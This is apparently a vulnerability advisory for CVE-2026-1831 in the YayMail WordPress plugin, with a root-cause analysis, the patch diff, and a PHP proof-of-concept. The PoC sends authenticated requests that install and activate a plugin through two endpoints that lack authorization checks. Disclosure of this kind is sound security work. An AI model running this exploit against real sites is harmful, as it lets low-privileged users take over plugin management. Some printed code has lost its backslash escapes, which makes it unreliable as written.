Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1831: YayMail <= 4.3.2 – Missing Authorization to Authenticated (Shop Manager+) Plugin Installation and Activation (yaymail)

CVE ID CVE-2026-1831
Plugin yaymail
Severity Low (CVSS 2.7)
CWE 862
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1831:
The YayMail plugin for WordPress contains a missing authorization vulnerability in versions up to 4.3.2. This flaw allows authenticated attackers with Shop Manager-level permissions to install and activate the YaySMTP plugin without proper capability checks. The vulnerability affects two distinct endpoints: an AJAX handler and a REST API endpoint.

Atomic Edge research identifies the root cause as missing capability checks in two specific code locations. The first location is the `yaymail_install_yaysmtp` AJAX action handler in `/yaymail/src/Ajax.php`. The function processes installation requests without verifying the user’s `install_plugins` or `activate_plugins` capabilities. The second location is the `/yaymail/v1/addons/activate` REST endpoint in `/yaymail/src/Controllers/AddonController.php`. This endpoint’s permission callback previously returned `true` for all users, granting activation privileges without authorization.

Exploitation requires an authenticated attacker with Shop Manager access. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `yaymail_install_yaysmtp`. Alternatively, they can send a POST request to the REST endpoint `/wp-json/yaymail/v1/addons/activate` with a JSON payload containing the plugin slug. Both requests require a valid nonce, which Shop Manager users can obtain through normal plugin interface access.

The patch adds proper capability checks to both vulnerable endpoints. In `/yaymail/src/Ajax.php`, lines 234-236 add a check for `current_user_can(‘install_plugins’)` and `current_user_can(‘activate_plugins’)`. In `/yaymail/src/Controllers/AddonController.php`, a new `permission_callback_admin_only()` method returns `current_user_can(‘activate_plugins’)`. This method replaces the previous `permission_callback()` method for both activation and deactivation endpoints. The patch also fixes a separate authorization issue in `/yaymail/src/License/RestAPI.php` by requiring `manage_options` capability.

Successful exploitation allows attackers to install and activate the YaySMTP plugin without administrative privileges. This could lead to unauthorized email configuration changes, potential email interception, or further plugin installation. The vulnerability represents a privilege escalation where Shop Manager users gain plugin management capabilities reserved for administrators.

Differential between vulnerable and patched code

Code Diff
--- a/yaymail/src/Ajax.php
+++ b/yaymail/src/Ajax.php
@@ -231,6 +231,11 @@
         if ( ! wp_verify_nonce( $nonce, 'yaymail_frontend_nonce' ) ) {
             return wp_send_json_error( [ 'mess' => __( 'Verify nonce failed', 'yaymail' ) ] );
         }
+
+        if ( ! current_user_can( 'install_plugins' ) && ! current_user_can( 'activate_plugins' ) ) {
+            return wp_send_json_error( [ 'mess' => __( 'You do not have permission to install plugins', 'yaymail' ) ] );
+        }
+
         try {
             $is_installed = $this->process_plugin_installer( 'yaysmtp' );

--- a/yaymail/src/Controllers/AddonController.php
+++ b/yaymail/src/Controllers/AddonController.php
@@ -21,6 +21,10 @@
         $this->init_hooks();
     }

+    protected function permission_callback_admin_only() {
+        return current_user_can( 'activate_plugins' );
+    }
+
     protected function init_hooks() {
         register_rest_route(
             YAYMAIL_REST_NAMESPACE,
@@ -40,7 +44,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_activate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
@@ -51,7 +55,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_deactivate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
--- a/yaymail/src/Elements/OrderDetails.php
+++ b/yaymail/src/Elements/OrderDetails.php
@@ -265,6 +265,21 @@
                     'default_value' => esc_html__( 'Discount:', 'woocommerce' ),
                     'type'          => 'content',
                 ],
+                'custom_footer_rows_breaker'      => [
+                    'component' => 'LineBreaker',
+                ],
+                'custom_footer_rows_group'        => [
+                    'component'   => 'GroupDefinition',
+                    'title'       => __( 'Custom Footer Rows', 'yaymail' ),
+                    'description' => __( 'Add custom rows to the order totals footer', 'yaymail' ),
+                ],
+                'custom_footer_rows'              => [
+                    'value_path'    => 'custom_footer_rows',
+                    'component'     => 'CustomFooterRowsEditor',
+                    'title'         => __( 'Custom Footer Rows', 'yaymail' ),
+                    'default_value' => isset( $attributes['custom_footer_rows'] ) ? $attributes['custom_footer_rows'] : [],
+                    'type'          => 'content',
+                ],
             ],
         ];
     }
--- a/yaymail/src/Engine/Backend/SettingsPage.php
+++ b/yaymail/src/Engine/Backend/SettingsPage.php
@@ -271,6 +271,7 @@
             wp_dequeue_script( 'real-media-library-lite-rml' );
             wp_dequeue_style( 'real-media-library-rml' );
             wp_dequeue_script( 'real-media-library-rml' );
+            wp_dequeue_style( 'real-category-library-admin' );
         }
     }
 }
--- a/yaymail/src/License/RestAPI.php
+++ b/yaymail/src/License/RestAPI.php
@@ -140,6 +140,6 @@
     }

     public function permission_callback() {
-        return true;
+        return current_user_can( 'manage_options' );
     }
 }
--- a/yaymail/src/Models/MigrationModel.php
+++ b/yaymail/src/Models/MigrationModel.php
@@ -141,7 +141,10 @@

             // Restore backed-up options
             foreach ( $backup['options'] as $option ) {
-                update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                // Only restore options that belong to YayMail (same pattern as export)
+                if ( strpos( $option->option_name, 'yaymail' ) !== false ) {
+                    update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                }
             }

             // Remove the succeeded migration log from db
--- a/yaymail/src/Models/TemplateModel.php
+++ b/yaymail/src/Models/TemplateModel.php
@@ -13,6 +13,7 @@
 use YayMailPostTypesTemplatePostType;
 use YayMailShortcodesShortcodesExecutor;
 use YayMailSupportedPlugins;
+use YayMailUtilsTemplateHelpers;

 /**
  * Template Model
@@ -290,7 +291,8 @@

     public static function update( $template_id, $data, $is_save_revision = false ) {
         if ( isset( $data['elements'] ) && is_array( $data['elements'] ) && isset( self::$meta_keys['elements'] ) ) {
-            update_post_meta( $template_id, self::$meta_keys['elements'], $data['elements'] );
+            $elements_data = TemplateHelpers::sanitize_elements_recursive( $data['elements'] );
+            update_post_meta( $template_id, self::$meta_keys['elements'], $elements_data );
         }

         if ( ! empty( $data['background_color'] ) && isset( self::$meta_keys['background_color'] ) ) {
--- a/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
+++ b/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
@@ -251,6 +251,7 @@
         $show_sku           = isset( $yaymail_settings['show_product_sku'] ) ? boolval( $yaymail_settings['show_product_sku'] ) : false;
         $show_des           = isset( $yaymail_settings['show_product_description'] ) ? boolval( $yaymail_settings['show_product_description'] ) : false;
         $show_regular_price = isset( $yaymail_settings['show_product_regular_price'] ) ? boolval( $yaymail_settings['show_product_regular_price'] ) : false;
+        $show_hyper_links   = isset( $yaymail_settings['show_product_hyper_links'] ) ? boolval( $yaymail_settings['show_product_hyper_links'] ) : false;
         $image_style        = 'left' === $image_position ? $this->get_styles_product_image() . $style_image_position_left : $this->get_styles_product_image();

         $image_url             = wc_placeholder_img_src();
@@ -404,29 +405,150 @@
     }

     public function render_item_totals( $structure_footer ) {
+        $custom_rows = isset( $this->element_data['custom_footer_rows'] )
+            ? $this->element_data['custom_footer_rows']
+            : [];
+
+        // Group custom rows by zone
+        $rows_by_zone = [
+            'before_all'     => [],
+            'after_subtotal' => [],
+            'before_total'   => [],
+            'after_total'    => [],
+        ];
+
+        foreach ( $custom_rows as $row ) {
+            // Check if row is enabled - handle both boolean and string values
+            $is_enabled = isset( $row['enabled'] ) ? boolval( $row['enabled'] ) : false;
+
+            if ( $is_enabled && isset( $row['zone'] ) ) {
+                $zone = $row['zone'];
+                if ( isset( $rows_by_zone[ $zone ] ) ) {
+                    $rows_by_zone[ $zone ][] = $row;
+                }
+            }
+        }
+
+        // Sort each zone by order
+        foreach ( $rows_by_zone as &$zone_rows ) {
+            usort(
+                $zone_rows,
+                function( $a, $b ) {
+                    $order_a = isset( $a['order'] ) ? intval( $a['order'] ) : 0;
+                    $order_b = isset( $b['order'] ) ? intval( $b['order'] ) : 0;
+                    return $order_a - $order_b;
+                }
+            );
+        }
+
         $index = 0;
+
+        // ZONE 1: Before all
+        foreach ( $rows_by_zone['before_all'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
+        }
+
+        // Process standard rows
         foreach ( $this->item_totals as $key => $total ) {
-            if ( in_array( $key, $structure_footer['hidden_rows'], true ) ) {
+            if ( in_array( $key, $structure_footer['hidden_rows'] ?? [], true ) ) {
                 continue;
             }
-            ++$index;
-            $tr_class              = "yaymail-order-detail-row-{$key}";
-            $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
-            $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
-            $style                 = $this->get_styles() . TemplateHelpers::get_style(
-                [
-                    'border-top-width' => 1 === $index ? '4px' : '0',
-                ]
-            );
-            ?>
-            <tr class="<?php echo esc_attr( $tr_class ); ?>">
-                <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
-                <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
-            </tr>
-            <?php
+
+            // ZONE 2: After subtotal
+            if ( 'cart_subtotal' === $key ) {
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                foreach ( $rows_by_zone['after_subtotal'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                continue;
+            }
+
+            // ZONE 3: Before total
+            if ( 'order_total' === $key ) {
+                foreach ( $rows_by_zone['before_total'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                continue;
+            }
+
+            // Other rows - render normally
+            $this->render_standard_row( $key, $total, $index++, $structure_footer );
+        }//end foreach
+
+        // ZONE 4: After all (after total)
+        foreach ( $rows_by_zone['after_total'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
         }
     }

+    /**
+     * Render a standard order total row
+     *
+     * @param string $key              The order total key.
+     * @param array  $total            The order total data.
+     * @param int    $index            The row index.
+     * @param array  $structure_footer The footer structure data.
+     */
+    private function render_standard_row( $key, $total, $index, $structure_footer ) {
+        $tr_class              = "yaymail-order-detail-row-{$key}";
+        $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
+        $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
+        $style                 = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+        $heading_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+        ?>
+        <tr class="<?php echo esc_attr( $tr_class ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $heading_style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $content_style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
+        </tr>
+        <?php
+    }
+
+    /**
+     * Render a custom footer row
+     *
+     * @param array $custom_row       The custom row data.
+     * @param int   $index            The row index.
+     * @param array $structure_footer The footer structure data.
+     */
+    private function render_custom_row( $custom_row, $index, $structure_footer ) {
+        // Process shortcodes in label and value
+        $label = isset( $custom_row['label'] ) ? do_shortcode( $custom_row['label'] ) : '';
+        $value = isset( $custom_row['value'] ) ? do_shortcode( $custom_row['value'] ) : '';
+
+        if ( empty( $label ) && empty( $value ) ) {
+            return;
+        }
+
+        $style = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+
+        $heading_style = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+
+        $row_id = isset( $custom_row['id'] ) ? esc_attr( $custom_row['id'] ) : '';
+        ?>
+        <tr class="yaymail-order-detail-row-custom custom-row-<?php echo esc_attr( $row_id ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>"
+                style="<?php echo esc_attr( $heading_style ); ?>">
+                <?php echo wp_kses_post( $label ); ?>
+            </th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>"
+                style="<?php echo esc_attr( $content_style ); ?>">
+                <?php echo wp_kses_post( $value ); ?>
+            </td>
+        </tr>
+        <?php
+    }
+
     public function render_customer_note() {
         if ( ! empty( $this->order_note ) ) :
             $style = $this->get_styles();
--- a/yaymail/src/Utils/TemplateHelpers.php
+++ b/yaymail/src/Utils/TemplateHelpers.php
@@ -339,4 +339,27 @@
             $border['color']
         );
     }
+
+    public static function sanitize_elements_recursive( $elements ) {
+        if ( ! is_array( $elements ) ) {
+            return [];
+        }
+
+        foreach ( $elements as &$element ) {
+            if ( isset( $element['data']['rich_text'] ) ) {
+                $element['data']['rich_text'] = yaymail_kses_post( $element['data']['rich_text'], $allowed );
+            }
+
+            if ( isset( $element['data']['title'] ) ) {
+                $element['data']['title'] = yaymail_kses_post( $element['data']['title'] );
+            }
+
+            // Recursive cho nested elements
+            if ( isset( $element['children'] ) ) {
+                $element['children'] = self::sanitize_elements_recursive( $element['children'] );
+            }
+        }
+
+        return $elements;
+    }
 }
--- a/yaymail/templates/elements/order-details.php
+++ b/yaymail/templates/elements/order-details.php
@@ -120,6 +120,5 @@
 <?php
 $element_content = ob_get_contents();
 ob_end_clean();
-$element_content .= do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' );
-
+$element_content .= yaymail_kses_post( do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' ) );
 TemplateHelpers::wrap_element_content( $element_content, $element, $wrapper_style );
--- a/yaymail/templates/elements/text.php
+++ b/yaymail/templates/elements/text.php
@@ -35,7 +35,7 @@
 ob_start();
 ?>

-    <div style="<?php echo esc_attr( $text_style ); ?>"><?php echo do_shortcode( $data['rich_text'] ); ?></div>
+    <div style="<?php echo esc_attr( $text_style ); ?>"><?php yaymail_kses_post_e( do_shortcode( $data['rich_text'] ) ); ?></div>
 <?php
 $element_content = ob_get_clean();

--- a/yaymail/templates/emails/before-email-content.php
+++ b/yaymail/templates/emails/before-email-content.php
@@ -14,8 +14,8 @@
                 h1{ font-family:inherit;text-shadow:unset;text-align:inherit;}
                 h2,h3{ font-family:inherit;color:inherit;text-align:inherit;}
                 .yaymail-inline-block {display: inline-block;}
-            .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
-
+                .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
+                .yaymail-order-details-table .wc-item-meta {list-style-type: none;}
             /**
             * Media queries are not supported by all email clients, however they do work on modern mobile
             * Gmail clients and can help us achieve better consistency there.
--- a/yaymail/vendor/autoload.php
+++ b/yaymail/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/yaymail/vendor/composer/InstalledVersions.php
+++ b/yaymail/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/yaymail/vendor/composer/autoload_static.php
+++ b/yaymail/vendor/composer/autoload_static.php
@@ -11,11 +11,11 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'Y' =>
+        'Y' =>
         array (
             'YayMail\' => 8,
         ),
-        'T' =>
+        'T' =>
         array (
             'TenQuality\WP\Database\' => 23,
             'TenQuality\Data\' => 16,
@@ -23,15 +23,15 @@
     );

     public static $prefixDirsPsr4 = array (
-        'YayMail\' =>
+        'YayMail\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'TenQuality\WP\Database\' =>
+        'TenQuality\WP\Database\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/wp-query-builder/src',
         ),
-        'TenQuality\Data\' =>
+        'TenQuality\Data\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/php-data-model/src',
         ),
--- a/yaymail/vendor/composer/installed.php
+++ b/yaymail/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+        'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+            'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/yaymail/vendor/composer/platform_check.php
+++ b/yaymail/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/yaymail/yaymail.php
+++ b/yaymail/yaymail.php
@@ -3,12 +3,12 @@
  * Plugin Name: YayMail - WooCommerce Email Customizer
  * Plugin URI: https://yaycommerce.com/yaymail-woocommerce-email-customizer/
  * Description: Create awesome transactional emails with a drag and drop email builder
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author: YayCommerce
  * Author URI: https://yaycommerce.com
  * Text Domain: yaymail
  * WC requires at least: 3.0.0
- * WC tested up to: 10.3.0
+ * WC tested up to: 10.5.1
  * Domain Path: /i18n/languages/
  *
  * @package YayMail
@@ -27,7 +27,7 @@
 }

 if ( ! defined( 'YAYMAIL_VERSION' ) ) {
-    define( 'YAYMAIL_VERSION', '4.3.2' );
+    define( 'YAYMAIL_VERSION', '4.3.3' );
 }

 if ( ! defined( 'YAYMAIL_PLUGIN_URL' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1831 - YayMail <= 4.3.2 - Missing Authorization to Authenticated (Shop Manager+) Plugin Installation and Activation

<?php

$target_url = 'https://vulnerable-site.com';
$nonce = 'YOUR_VALID_NONCE_HERE'; // Obtain from yaymail_frontend_nonce
$cookie = 'wordpress_logged_in_XXXX=XXXX'; // Authenticated Shop Manager session

// Method 1: AJAX endpoint exploitation
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'yaymail_install_yaysmtp',
    'nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Cookie: ' . $cookie
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "AJAX Response (HTTP $http_code): " . $response . "nn";

// Method 2: REST API endpoint exploitation
$rest_url = $target_url . '/wp-json/yaymail/v1/addons/activate';
$rest_data = json_encode(array(
    'slug' => 'yaysmtp'
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $rest_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Cookie: ' . $cookie,
    'X-WP-Nonce: ' . $nonce
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "REST API Response (HTTP $http_code): " . $response . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School